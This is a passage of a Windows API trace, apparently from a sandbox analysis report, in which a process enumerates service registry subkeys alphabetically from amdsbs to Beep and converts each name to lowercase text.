lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1cd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.677] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.677] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.677] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.677] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.678] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.678] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, 